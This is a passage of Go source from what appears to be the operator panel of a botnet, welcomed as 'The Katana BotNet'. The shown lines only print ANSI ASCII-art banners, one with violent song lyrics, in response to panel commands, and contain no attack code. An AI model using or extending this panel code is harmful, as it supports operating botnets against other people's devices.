  327. this.conn.Write([]byte("\033[0;34m MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM \r\n"))
  328. this.conn.Write([]byte("\033[0;34m .MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM. \r\n"))
  329. this.conn.Write([]byte("\033[0;34m MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM \r\n"))
  330. this.conn.Write([]byte("\033[0;34m `MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM' \r\n"))
  331. this.conn.Write([]byte("\033[0;34m `MMMMMMMMMMMMMMMMMM' \r\n"))
  332. this.conn.Write([]byte("\033[0;34m `MMMMMMMMMM' \r\n"))
  333. this.conn.Write([]byte("\033[0;34m MMMMMM \r\n"))
  334. this.conn.Write([]byte("\033[0;34m MMMM \r\n"))
  335. this.conn.Write([]byte("\033[0;34m MM \r\n"))
  336. continue
  337. }
  338. if err != nil || cmd == ":quote" {
  339. this.conn.Write([]byte("\033[2J\033[1;1H"))
  340. this.conn.Write([]byte("\033[0;31m \r\n"))
  341. this.conn.Write([]byte("\033[0;31m __ __ \r\n"))
  342. this.conn.Write([]byte("\033[0;31m (\x1b[0;33m**\x1b[0;31m) (\x1b[0;33m**\x1b[0;31m) \r\n"))
  343. this.conn.Write([]byte("\033[0;34m IIII \x1b[0;34mIIII \r\n"))
  344. this.conn.Write([]byte("\033[0;34m #### \x1b[0;34m#### \r\n"))
  345. this.conn.Write([]byte("\033[0;34m HHHH \x1b[0;33m Madness comes\x1b[0;31m, \x1b[0;33mand madness goes \x1b[0;34mHHHH \r\n"))
  346. this.conn.Write([]byte("\033[0;34m HHHH \x1b[0;33m An insane place, with insane moves \x1b[0;34mHHHH \r\n"))
  347. this.conn.Write([]byte("\033[0;34m #### \x1b[0;33m Battles without, for battles within \x1b[0;34m#### \r\n"))
  348. this.conn.Write([]byte("\033[0;31m ___\x1b[0;34mIIII\x1b[0;31m___ \x1b[0;33mWhere evil lives\x1b[0;31m, \x1b[0;31m___\x1b[0;34mIIII\x1b[0;31m___ \r\n"))
  349. this.conn.Write([]byte("\033[0;31m .-`_._ _._`-. \x1b[0;33m and evil rules \x1b[0;31m .-`_._ _._`-. \r\n"))
  350. this.conn.Write([]byte("\033[0;31m |/`` .`*/`. ``*| \x1b[0;33mBreaking them up\x1b[0;31m, \x1b[0;31m |/`` .`*/`. ``*| \r\n"))
  351. this.conn.Write([]byte("\033[0;31m ` } { ' \x1b[0;33mjust breaking them in \x1b[0;31m ` } { ' \r\n"))
  352. this.conn.Write([]byte("\033[0;31m ) () ( \x1b[0;33mQuickest way out\x1b[0;31m, \x1b[0;33mquickest way wins \x1b[0;31m) () ( \r\n"))
  353. this.conn.Write([]byte("\033[0;31m ( :: ) \x1b[0;33mNever disclose\x1b[0;31m, \x1b[0;33mnever betray \x1b[0;31m( :: ) \r\n"))
  354. this.conn.Write([]byte("\033[0;31m | :: | \x1b[0;33mCease to speak or cease to breath \x1b[0;31m| :: | \r\n"))
  355. this.conn.Write([]byte("\033[0;31m | )( | \x1b[0;33m And when you kill a man\x1b[0;31m, \x1b[0;31m| )( | \r\n"))
  356. this.conn.Write([]byte("\033[0;31m | || | \x1b[0;33myou're a murderer \x1b[0;31m | || | \r\n"))
  357. this.conn.Write([]byte("\033[0;31m | || | \x1b[0;33m Kill many \x1b[0;31m| || | \r\n"))
  358. this.conn.Write([]byte("\033[0;31m | || | \x1b[0;33mand you\x1b[0;31m'\x1b[0;33mre a conqueror \x1b[0;31m| || | \r\n"))
  359. this.conn.Write([]byte("\033[0;31m | || | \x1b[0;33mKill them all \x1b[0;31m... \x1b[0;33mOoh\x1b[0;31m.. \x1b[0;31m| || | \r\n"))
  360. this.conn.Write([]byte("\033[0;31m | || | \x1b[0;33mOh you\x1b[0;31m'\x1b[0;33mre a God\x1b[0;31m! \x1b[0;31m| || | \r\n"))
  361. this.conn.Write([]byte("\033[0;31m ( () ) \x1b[0;31m -\x1b[0;33mMegadeth \x1b[0;31m ( () ) \r\n"))
  362. this.conn.Write([]byte("\033[0;31m \\ / \\ / \r\n"))
  363. this.conn.Write([]byte("\033[0;31m \\/ \\/ \r\n"))
  364. continue
  365. }
  366. if err != nil || cmd == ":senpai" {
  367. this.conn.Write([]byte("\033[2J\033[1;1H"))
  368. this.conn.Write([]byte("\t \r\n"))
  369. this.conn.Write([]byte("\x1b[1;35m ███████\x1b[1;36m╗\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m███\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██████\x1b[1;36m╗ \x1b[1;35m█████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╗\r\n\x1b[0m"))
  370. this.conn.Write([]byte("\x1b[1;35m ██\x1b[1;36m╔════╝\x1b[1;35m██\x1b[1;36m╔════╝\x1b[1;35m████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  371. this.conn.Write([]byte("\x1b[1;35m ███████\x1b[1;36m╗\x1b[1;35m█████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╔\x1b[1;35m██\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██████\x1b[1;36m╔╝\x1b[1;35m███████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  372. this.conn.Write([]byte("\x1b[1;36m ╚════\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══╝ \x1b[1;35m██\x1b[1;36m║╚\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔═══╝ \x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  373. this.conn.Write([]byte("\x1b[1;35m ███████\x1b[1;36m║\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║ ╚\x1b[1;35m████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║ \x1b[1;35m██\x1b[1;36m║ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n\x1b[0m"))
  374. this.conn.Write([]byte("\x1b[1;36m ╚══════╝╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝╚═╝\r\n\x1b[0m"))
  375. this.conn.Write([]byte("\x1b[1;36m \x1b[1;35m[\x1b[1;37m+\x1b[1;35m]\x1b[1;37mようこそ\x1b[1;36m \033[95;1m" + username + " \x1b[1;37mTo The Katana BotNet\x1b[1;35m[\x1b[1;37m+\x1b[1;35m]\r\n\x1b[0m"))
  376. this.conn.Write([]byte("\x1b[1;36m \x1b[1;35m[\x1b[1;37m+\x1b[1;35m]\x1b[1;37mヘルプを入力してヘルプを表示する\x1b[1;35m[\x1b[1;37m+\x1b[1;35m]\r\n\x1b[0m"))
  377. this.conn.Write([]byte("\t \r\n"))
  378. continue
  379. }
  380. if err != nil || cmd == ":sao" {
  381. this.conn.Write([]byte("\033[2J\033[1;1H"))
  382. this.conn.Write([]byte("\t\033[37m .---. \t \t\033[37m .---. \r\n"))
  383. this.conn.Write([]byte("\t\033[37m |---| \t \t\033[37m |---| \r\n"))
  384. this.conn.Write([]byte("\t\033[37m |---| \t \t\033[37m |---| \r\n"))
  385. this.conn.Write([]byte("\t\033[37m |---| \t \t\033[37m |---| \r\n"))
  386. this.conn.Write([]byte("\t\033[37m .---^ - ^---.\t \t\033[37m .---^ - ^---.\r\n"))
  387. this.conn.Write([]byte("\t\033[37m :___________:\t \t\033[37m :___________:\r\n"))
  388. this.conn.Write([]byte("\t\033[37m | |//| \t\033[36m ██████ ▄▄▄ \033[31m▒\033[36m█████ \t\033[37m | |//| \r\n"))
  389. this.conn.Write([]byte("\t\033[37m | |//| \t\033[31m▒\033[36m██ \033[31m▒ ▒\033[36m████▄ \033[31m▒\033[36m██\033[31m▒ \033[36m██\033[31m▒\t\033[37m | |//| \r\n"))
  390. this.conn.Write([]byte("\t\033[37m | |//| \t\033[31m░ ▓\033[36m██▄ \033[31m ▒\033[36m██ ▀█▄ \033[31m▒\033[36m██\033[31m░ \033[36m██\033[31m▒\t\033[37m | |//| \r\n"))
  391. this.conn.Write([]byte("\t\033[37m | |//| \t\033[31m ▒\033[36m ██\033[31m▒░\033[36m██▄▄▄▄██ \033[31m▒\033[36m██ ██\033[31m░\t\033[37m | |//| \r\n"))
  392. this.conn.Write([]byte("\t\033[37m | |//| \t\033[31m▒\033[36m██████\033[31m▒▒ ▓\033[36m█ \033[31m▓\033[36m██\033[31m▒░ \033[36m████\033[31m▓▒░\t\033[37m | |//| \r\n"))
  393. this.conn.Write([]byte("\t\033[37m | |//| \t\033[31m▒ ▒▓▒ ▒ ░ ▒▒ ▓▒\033[36m█\033[31m░░ ▒░▒░▒░ \t\033[37m | |//| \r\n"))
  394. this.conn.Write([]byte("\t\033[37m | |.-| \t\033[31m░ ░▒ ░ ░ ▒ ▒▒ ░ ░ ▒ ▒░ \t\033[37m | |.-| \r\n"))
  395. this.conn.Write([]byte("\t\033[37m |.-'**| \t\033[31m░ ░ ░ ░ ▒ ░ ░ ░ ▒ \t\033[37m |.-'**| \r\n"))
  396. this.conn.Write([]byte("\t\033[37m \\***/ \t\033[31m ░ ░ ░ ░ ░ \t\033[37m \\***/ \r\n"))
  397. this.conn.Write([]byte("\t\033[37m \\*/ \t \t\033[37m \\*/ \r\n"))
  398. this.conn.Write([]byte("\t\033[37m V \t \t\033[37m V \r\n"))
  399. this.conn.Write([]byte("\t\033[37m ' \t \t\033[37m ' \r\n"))
  400. this.conn.Write([]byte("\t\033[37m ^' \t \t\033[37m ^' \r\n"))
  401. this.conn.Write([]byte("\t\033[37m (_) \t \t\033[37m (_) \r\n"))
  402. this.conn.Write([]byte("\t \r\n"))
  403. this.conn.Write([]byte("\t \r\n"))
  404. continue
  405. }
  406. if err != nil || cmd == ":hoho" {
  407. this.conn.Write([]byte("\033[2J\033[1;1H"))
  408. this.conn.Write([]byte("\033[1;31m\r\n"))
  409. this.conn.Write([]byte("\033[1;31m 888 888\033[1;36m \033[1;31m 888 888 \033[1;36m \r\n"))
  410. this.conn.Write([]byte("\033[1;31m 888 888\033[1;36m \033[1;31m 888 888 \033[1;36m \r\n"))
  411. this.conn.Write([]byte("\033[1;31m 888 888\033[1;36m \033[1;31m 888 888 \033[1;36m \r\n"))
  412. this.conn.Write([]byte("\033[1;31m 8888888888\033[1;36m .d88b.\033[1;31m 8888888888 \033[1;36m.d88b. \r\n"))
  413. this.conn.Write([]byte("\033[1;31m 888 888\033[1;36m d88\"\"88b\033[1;31m 888 888\033[1;36m d88\"\"88b \r\n"))
  414. this.conn.Write([]byte("\033[1;31m 888 888\033[1;36m 888 888\033[1;31m 888 888 \033[1;36m888 888 \r\n"))
  415. this.conn.Write([]byte("\033[1;31m 888 888\033[1;36m Y88..88P\033[1;31m 888 888 \033[1;36mY88..88P \r\n"))
  416. this.conn.Write([]byte("\033[1;31m 888 888\033[1;36m \"Y88P\"\033[1;31m 888 888\033[1;36m \"Y88P\" \r\n"))
  417. this.conn.Write([]byte("\033[1;31m HoHo is Shit Lmfaooo \r\n"))
  418. continue
  419.  
  420. }
  421. if err != nil || cmd == ":owari" {
  422. this.conn.Write([]byte("\033[2J\033[1H"))
  423. this.conn.Write([]byte("\033[0;96m \033[00;37m▒\033[\033[01;30m█████ █ █\033[00;37m░ \033[01;30m▄▄▄ \033[\033[01;30m██▀███ ██▓\r\n"))
  424. this.conn.Write([]byte("\033[0;96m \033[00;37m▒\033[\033[01;30m██\033[00;37m▒ \033[\033[01;30m██\033[00;37m▒\033[\033[01;30m▓█\033[00;37m░ \033[\033[01;30m█ \033[00;37m░\033[\033[01;30m█\033[00;37m░▒\033[\033[01;30m████▄ ▓██ \033[00;37m▒ \033[\033[01;30m██\033[00;37m▒\033[\033[01;30m▓██\033[00;37m▒\r\n"))
  425. this.conn.Write([]byte("\033[0;96m \033[00;37m▒\033[\033[01;30m██\033[00;37m░ \033[\033[01;30m██\033[00;37m▒▒\033[\033[01;30m█\033[00;37m░ \033[\033[01;30m█ \033[00;37m░\033[\033[01;30m█ \033[00;37m▒\033[\033[01;30m██ ▀█▄ ▓██ \033[00;37m░\033[\033[01;30m▄█ \033[00;37m▒▒\033[\033[01;30m██\033[00;37m▒\r\n"))
  426. this.conn.Write([]byte("\033[0;96m \033[00;37m\033[00;37m▒\033[\033[01;30m██ ██\033[00;37m░░\033[\033[01;30m█\033[00;37m░ \033[\033[01;30m█ \033[00;37m░\033[\033[01;30m█ \033[00;37m░\033[\033[01;30m██▄▄▄▄██ \033[00;37m▒\033[\033[01;30m██▀▀█▄ \033[00;37m░\033[\033[01;30m██\033[00;37m░\r\n"))
  427. this.conn.Write([]byte("\033[0;96m \033[00;37m░ \033[01;30m████▓\033[00;37m▒░░░\033[01;30m██\033[00;37m▒\033[01;30m██▓ ▓█ ▓██\033[00;37m▒░\033[01;30m██▓\033[00;37m ▒\033[01;30m██\033[00;37m▒░\033[01;30m██\033[00;37m░\r\n"))
  428. this.conn.Write([]byte("\033[0;96m \033[00;37m░ ▒░▒░▒░ ░ \033[01;30m▓\033[00;37m░▒ ▒ ▒▒ \033[01;30m▓\033[00;37m▒\033[01;30m█\033[00;37m░░ ▒\033[01;30m▓\033[00;37m ░▒\033[01;30m▓\033[00;37m░░\033[01;30m▓ \r\n"))
  429. this.conn.Write([]byte("\033[0;96m \033[00;37m ░ ▒ ▒░ ▒ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ▒ ░\r\n"))
  430. this.conn.Write([]byte("\033[0;97m \033[00;37m░ ░ ░ ▒ ░ ░ ░ ▒ ░░ ░ ▒ ░\r\n"))
  431. this.conn.Write([]byte("\033[0;97m \033[00;37m ░ ░ ░ ░ ░ ░ ░ \r\n"))
  432. continue
  433. }
  434. if err != nil || cmd == ":sora" {
  435. this.conn.Write([]byte("\033[2J\033[1H"))
  436. this.conn.Write([]byte(" \033[01;30m ██████ \033[00;37m▒\033[01;30m█████ ██▀███ ▄▄▄ \r\n"))
  437. this.conn.Write([]byte(" \033[00;37m▒\033[01;30m██ \033[00;37m▒ ▒\033[01;30m██\033[00;37m▒ \033[01;30m██\033[00;37m▒▓\033[01;30m██ \033[00;37m▒ \033[01;30m██\033[00;37m▒▒\033[01;30m████▄ \r\n"))
  438. this.conn.Write([]byte(" \033[00;37m░ ▓\033[01;30m██▄ \033[00;37m▒\033[01;30m██\033[00;37m░ \033[01;30m██\033[00;37m▒▓\033[01;30m██ \033[00;37m░\033[01;30m▄█ \033[00;37m▒▒\033[01;30m██ ▀█▄ \r\n"))
  439. this.conn.Write([]byte(" \033[00;37m ▒ \033[01;30m██\033[00;37m▒▒\033[01;30m██ ██\033[00;37m░▒\033[01;30m██▀▀█▄ \033[00;37m░\033[01;30m██▄▄▄▄██ \r\n"))
  440. this.conn.Write([]byte(" \033[00;37m▒\033[01;30m██████\033[00;37m▒▒░ \033[01;30m████\033[00;37m▓▒░░\033[01;30m██\033[00;37m▓ ▒\033[01;30m██\033[00;37m▒ ▓\033[01;30m█ \033[00;37m▓\033[01;30m██\033[00;37m▒\r\n"))
  441. this.conn.Write([]byte(" \033[01;30m▒ ▒▓▒ ▒ ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░\r\n"))
  442. this.conn.Write([]byte(" \033[01;30m ░ ░▒ ░ ░ ░ ▒ ▒░ ░▒ ░ ▒░ ▒ ▒▒ ░\r\n"))
  443. this.conn.Write([]byte(" \033[01;30m░ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ▒ \r\n"))
  444. this.conn.Write([]byte(" \033[01;30m ░ ░ ░ ░ ░ ░\r\n"))
  445. continue
  446. }
  447. if err != nil || cmd == ":mickey" {
  448. this.conn.Write([]byte("\033[2J\033[1;1H"))
  449. this.conn.Write([]byte("\033[1;90m \r\n"))
  450. this.conn.Write([]byte("\033[1;90m \033[90m.::`:`:`:. \r\n"))
  451. this.conn.Write([]byte("\033[1;90m \033[90m:.:.:.:.:.::. \r\n"))
  452. this.conn.Write([]byte("\033[1;90m \033[90m::.:.:.:.:.:.: \r\n"))
  453. this.conn.Write([]byte("\033[1;90m \033[90m`.:.:.:.:.:.:' \r\n"))
  454. this.conn.Write([]byte("\033[1;90m ,,\033[90m.::::.:.:.:.:.:' \r\n"))
  455. this.conn.Write([]byte("\033[1;90m \033[97m.,,. \033[38;5;216m.,<?3$;e$$$$e\033[90m:.:.``` \r\n"))
  456. this.conn.Write([]byte("\033[1;90m \033[97m,d$$$P \033[90m.::. \033[38;5;216m,JP?$$$$$$,?$$$>\033[90m:.:`: .,:,. \r\n"))
  457. this.conn.Write([]byte("\033[1;90m \033[97m_..,,,,.. ,?$$$> \033[90m:.:*:.\033[38;5;216mF;$>$P?T$$$,$$$>\033[90m.:.:.:.::.:.:.:: \r\n"))
  458. this.conn.Write([]byte("\033[1;90m ____________________ \033[97m,<<<????9F$$$$$$$$> \033[90m`:.:.\033[38;5;216m; \033[90m)\033[38;5;216mdF<$>3$$$$$F\033[90m.:.:.:.::.:.:.:.::\r\n"))
  459. this.conn.Write([]byte("\033[1;90m \033[97mue<d<d<ed'dP????$$$$, \033[38;5;216mu;e$bcRF \033[90m)\033[38;5;216mJ$$$$$'\033[90m.:.:.:.::.:.:.:.:.: \r\n"))
  460. this.conn.Write([]byte("\033[1;90m \033[95mミッキー \033[97m'<e<e<e<d'd$$$$$$$$$$$b \033[38;5;216m$$$$$$$$oe$$$$$F\033[90m:.:.:.:.::.:.:.:.:.:' \r\n"))
  461. this.conn.Write([]byte("\033[1;90m ____________________ \033[97m`??$$$???4$$$$$$$$$$F\033[90m::::.. \033[38;5;216m?$$$$$$$$$$$$$$$$$$b\033[90m.:.:: `.:.:.:.:' \r\n"))
  462. this.conn.Write([]byte("\033[1;90m \033[01;35mVibie \033[1;90mby \033[95mKasaya \033[97m``'????$$b;\033[90m:::::::d$$$$$c`\033[38;5;216m?$$$$$$$$F u($$$$$>\033[90m.:' `'''` \r\n"))
  463. this.conn.Write([]byte("\033[1;90m \033[90m`':::J$$$$$$$$bo\033[38;5;216m`\";_,\033[38;5;216meed$$$$$$P \r\n"))
  464. this.conn.Write([]byte("\033[1;90m \033[90m?$$$$$$$F$Fi,\033[38;5;216m''``'????'' \r\n"))
  465. this.conn.Write([]byte("\033[1;90m \033[90m`?$$?$$'d>???b`'e$$$$'$$$c \r\n"))
  466. this.conn.Write([]byte("\033[1;90m \033[90m`'` .$$$$$$c.ee'?$'d$$$$$o. \r\n"))
  467. this.conn.Write([]byte("\033[1;90m \033[90m.$$$$$$$$$$$$L,$$$$$$$$$bu \r\n"))
  468. this.conn.Write([]byte("\033[1;90m \033[90m.$$$$$$$$$$$$$$$$'?$$$$$P\033[90m::. \r\n"))
  469. this.conn.Write([]byte("\033[1;90m \033[90md$$$$$$$$$$$$$$`' ?$$F\033[90m::::::. \r\n"))
  470. this.conn.Write([]byte("\033[1;90m \033[90m.$$$$$$$$$$$$`\033[97mod$bee.\033[90m`` .:::::: \r\n"))
  471. this.conn.Write([]byte("\033[1;90m \033[90m$$$$$$$$$$$ \033[97mPLo$$$\033[90m:::::::::'' \r\n"))
  472. this.conn.Write([]byte("\033[1;90m \033[90m'$$$$$$$$$>\033[97m<`uJF$$;\033[90m::'''' \r\n"))
  473. this.conn.Write([]byte("\033[1;90m \033[31m`e``?$$$$PF,\033[97m`$bJJ$$br \r\n"))
  474. this.conn.Write([]byte("\033[1;90m \033[31m$$$$eeee$$$o.\033[97m`????` \r\n"))
  475. this.conn.Write([]byte("\033[1;90m \033[31m`$$$$E?$P$$$$$$$k \r\n"))
  476. this.conn.Write([]byte("\033[1;90m \033[31m'$$$$bi`?$$$$$$P \r\n"))
  477. this.conn.Write([]byte("\033[1;90m \033[31m`?$$$$$$ec,`??` \r\n"))
  478. this.conn.Write([]byte("\033[1;90m \033[31m'$$$$$$$$$$$$:... \r\n"))
  479. this.conn.Write([]byte("\033[1;90m \033[31m'?$$$$$$$$P:::$b,. \r\n"))
  480. this.conn.Write([]byte("\033[1;90m \033[31m'?R$$$P;::z$$;$b. \r\n"))
  481. this.conn.Write([]byte("\033[1;90m \033[93m.zd$$$$bo;'?bJ>;;:u.'?$??;d$$$. \r\n"))
  482. this.conn.Write([]byte("\033[1;90m \033[93m.d$$$$$$$$$$$$d$$P?''.uooo,>?$$$ \r\n"))
  483. this.conn.Write([]byte("\033[1;90m \033[93m4$$$$$$$$$$$$$$`,e$$$$$$$$$$$$$P \r\n"))
  484. this.conn.Write([]byte("\033[1;90m \033[93m`?R$$$$$$$$$$`d$$$$$$$$$$$$$$P \r\n"))
  485. this.conn.Write([]byte("\033[1;90m \033[93m`'''''` `R$$$$$$$$$$$P' \r\n"))
  486. this.conn.Write([]byte("\033[1;90m \033[93m`'??????`` \r\n"))
  487. continue
  488. }
  489. if err != nil || cmd == ":dood" {
  490. this.conn.Write([]byte("\033[2J\033[1;1H"))
  491. this.conn.Write([]byte("\033[1;31m \r\n"))
  492. this.conn.Write([]byte("\033[1;31m ``````¶0````1¶1_``````````````````````````````````````` \r\n"))
  493. this.conn.Write([]byte("\033[1;31m ```````¶¶¶0_`_¶¶¶0011100¶¶¶¶¶¶¶001_```````````````````` \r\n"))
  494. this.conn.Write([]byte("\033[1;31m ````````¶¶¶¶¶00¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶0_```````````````` \r\n"))
  495. this.conn.Write([]byte("\033[1;31m `````1_``¶¶00¶0000000000000000000000¶¶¶¶0_````````````` \r\n"))
  496. this.conn.Write([]byte("\033[1;31m `````_¶¶_`0¶000000000000000000000000000¶¶¶¶¶1`````````` \r\n"))
  497. this.conn.Write([]byte("\033[1;31m ```````¶¶¶00¶00000000000000000000000000000¶¶¶_````````` \r\n"))
  498. this.conn.Write([]byte("\033[1;31m ````````_¶¶00000000000000000000¶¶00000000000¶¶````````` \r\n"))
  499. this.conn.Write([]byte("\033[1;31m `````_0011¶¶¶¶¶000000000000¶¶00¶¶0¶¶00000000¶¶_```````` \r\n"))
  500. this.conn.Write([]byte("\033[1;31m ```````_¶¶¶¶¶¶¶00000000000¶¶¶¶0¶¶¶¶¶00000000¶¶1```````` \r\n"))
  501. this.conn.Write([]byte("\033[1;31m ``````````1¶¶¶¶¶000000¶¶0¶¶¶¶¶¶¶¶¶¶¶¶0000000¶¶¶```````` \r\n"))
  502. this.conn.Write([]byte("\033[1;31m ```````````¶¶¶0¶000¶00¶0¶¶`_____`__1¶0¶¶00¶00¶¶```````` \r\n"))
  503. this.conn.Write([]byte("\033[1;31m ```````````¶¶¶¶¶00¶00¶10¶0``_1111_`_¶¶0000¶0¶¶¶```````` \r\n"))
  504. this.conn.Write([]byte("\033[1;31m ``````````1¶¶¶¶¶00¶0¶¶_¶¶1`_¶_1_0_`1¶¶_0¶0¶¶0¶¶```````` \r\n"))
  505. this.conn.Write([]byte("\033[1;31m ````````1¶¶¶¶¶¶¶0¶¶0¶0_0¶``100111``_¶1_0¶0¶¶_1¶```````` \r\n"))
  506. this.conn.Write([]byte("\033[1;31m ```````1¶¶¶¶00¶¶¶¶¶¶¶010¶``1111111_0¶11¶¶¶¶¶_10```````` \r\n"))
  507. this.conn.Write([]byte("\033[1;31m ```````0¶¶¶¶__10¶¶¶¶¶100¶¶¶0111110¶¶¶1__¶¶¶¶`__```````` \r\n"))
  508. this.conn.Write([]byte("\033[1;31m ```````¶¶¶¶0`__0¶¶0¶¶_¶¶¶_11````_0¶¶0`_1¶¶¶¶``````````` \r\n"))
  509. this.conn.Write([]byte("\033[1;31m ```````¶¶¶00`__0¶¶_00`_0_``````````1_``¶0¶¶_``````````` \r\n"))
  510. this.conn.Write([]byte("\033[1;31m ``````1¶1``¶¶``1¶¶_11``````````````````¶`¶¶```````````` \r\n"))
  511. this.conn.Write([]byte("\033[1;31m ``````1_``¶0_¶1`0¶_`_``````````_``````1_`¶1```````````` \r\n"))
  512. this.conn.Write([]byte("\033[1;31m ``````````_`1¶00¶¶_````_````__`1`````__`_¶````````````` \r\n"))
  513. this.conn.Write([]byte("\033[1;31m ````````````¶1`0¶¶_`````````_11_`````_``_`````````````` \r\n"))
  514. this.conn.Write([]byte("\033[1;31m `````````¶¶¶¶000¶¶_1```````_____```_1`````````````````` \r\n"))
  515. this.conn.Write([]byte("\033[1;31m `````````¶¶¶¶¶¶¶¶¶¶¶¶0_``````_````_1111__`````````````` \r\n"))
  516. this.conn.Write([]byte("\033[1;31m `````````¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶01_`````_11____1111_``````````` \r\n"))
  517. this.conn.Write([]byte("\033[1;31m `````````¶¶0¶0¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶1101_______11¶_``````````` \r\n"))
  518. this.conn.Write([]byte("\033[1;31m ``````_¶¶¶0000000¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶0¶0¶¶¶1```````````` \r\n"))
  519. this.conn.Write([]byte("\033[1;31m `````0¶¶0000000¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶1````````````` \r\n"))
  520. this.conn.Write([]byte("\033[1;31m ````0¶0000000¶¶0_````_011_10¶110¶01_1¶¶¶0````_100¶001_` \r\n"))
  521. this.conn.Write([]byte("\033[1;31m ```1¶0000000¶0_``__`````````_`````````0¶_``_00¶¶010¶001 \r\n"))
  522. this.conn.Write([]byte("\033[1;31m ```¶¶00000¶¶1``_01``_11____``1_``_`````¶¶0100¶1```_00¶1 \r\n"))
  523. this.conn.Write([]byte("\033[1;31m ``1¶¶00000¶_``_¶_`_101_``_`__````__````_0000001100¶¶¶0` \r\n"))
  524. this.conn.Write([]byte("\033[1;31m ``¶¶¶0000¶1_`_¶``__0_``````_1````_1_````1¶¶¶0¶¶¶¶¶¶0``` \r\n"))
  525. this.conn.Write([]byte("\033[1;31m `_¶¶¶¶00¶0___01_10¶_``__````1`````11___`1¶¶¶01_```````` \r\n"))
  526. this.conn.Write([]byte("\033[1;31m `1¶¶¶¶¶0¶0`__01¶¶¶0````1_```11``___1_1__11¶000````````` \r\n"))
  527. this.conn.Write([]byte("\033[1;31m `1¶¶¶¶¶¶¶1_1_01__`01```_1```_1__1_11___1_``00¶1```````` \r\n"))
  528. this.conn.Write([]byte("\033[1;31m ``¶¶¶¶¶¶¶0`__10__000````1____1____1___1_```10¶0_``````` \r\n"))
  529. this.conn.Write([]byte("\033[1;31m ``0¶¶¶¶¶¶¶1___0000000```11___1__`_0111_```000¶01``````` \r\n"))
  530. this.conn.Write([]byte("\033[1;31m ```¶¶¶00000¶¶¶¶¶¶¶¶¶01___1___00_1¶¶¶`_``1¶¶10¶¶0``````` \r\n"))
  531. this.conn.Write([]byte("\033[1;31m ```1010000¶000¶¶0100_11__1011000¶¶0¶1_10¶¶¶_0¶¶00`````` \r\n"))
  532. this.conn.Write([]byte("\033[1;31m 10¶000000000¶0________0¶000000¶¶0000¶¶¶¶000_0¶0¶00````` \r\n"))
  533. this.conn.Write([]byte("\033[1;31m ¶¶¶¶¶¶0000¶¶¶¶_`___`_0¶¶¶¶¶¶¶00000000000000_0¶00¶01```` \r\n"))
  534. this.conn.Write([]byte("\033[1;31m ¶¶¶¶¶0¶¶¶¶¶¶¶¶¶_``_1¶¶¶00000000000000000000_0¶000¶01``` \r\n"))
  535. this.conn.Write([]byte("\033[1;31m 1__```1¶¶¶¶¶¶¶¶¶00¶¶¶¶00000000000000000000¶_0¶0000¶0_`` \r\n"))
  536. this.conn.Write([]byte("\033[1;31m ```````¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶00000000000000000000010¶00000¶¶_` \r\n"))
  537. this.conn.Write([]byte("\033[1;31m ```````0¶¶¶¶¶¶¶¶¶¶¶¶¶¶00000000000000000000¶10¶¶0¶¶¶¶¶0` \r\n"))
  538. this.conn.Write([]byte("\033[1;31m ````````¶¶¶¶¶¶¶¶¶¶0¶¶¶00000000000000000000010¶¶¶0011``` \r\n"))
  539. this.conn.Write([]byte("\033[1;31m ````````1¶¶¶¶¶¶¶¶¶¶0¶¶¶0000000000000000000¶100__1_````` \r\n"))
  540. this.conn.Write([]byte("\033[1;31m `````````¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶000000000000000000¶11``_1`````` \r\n"))
  541. this.conn.Write([]byte("\033[1;31m `````````1¶¶¶¶¶¶¶¶¶¶¶0¶¶¶00000000000000000¶11___1_````` \r\n"))
  542. this.conn.Write([]byte("\033[1;31m ``````````¶¶¶¶¶¶0¶0¶¶¶¶¶¶¶0000000000000000¶11__``1_```` \r\n"))
  543. this.conn.Write([]byte("\033[1;31m ``````````¶¶¶¶¶¶¶0¶¶¶0¶¶¶¶¶000000000000000¶1__````__``` \r\n"))
  544. this.conn.Write([]byte("\033[1;31m ``````````¶¶¶¶¶¶¶¶0¶¶¶¶¶¶¶¶¶0000000000000000__`````11`` \r\n"))
  545. this.conn.Write([]byte("\033[1;31m `````````_¶¶¶¶¶¶¶¶¶000¶¶¶¶¶¶¶¶000000000000011_``_1¶¶¶0` \r\n"))
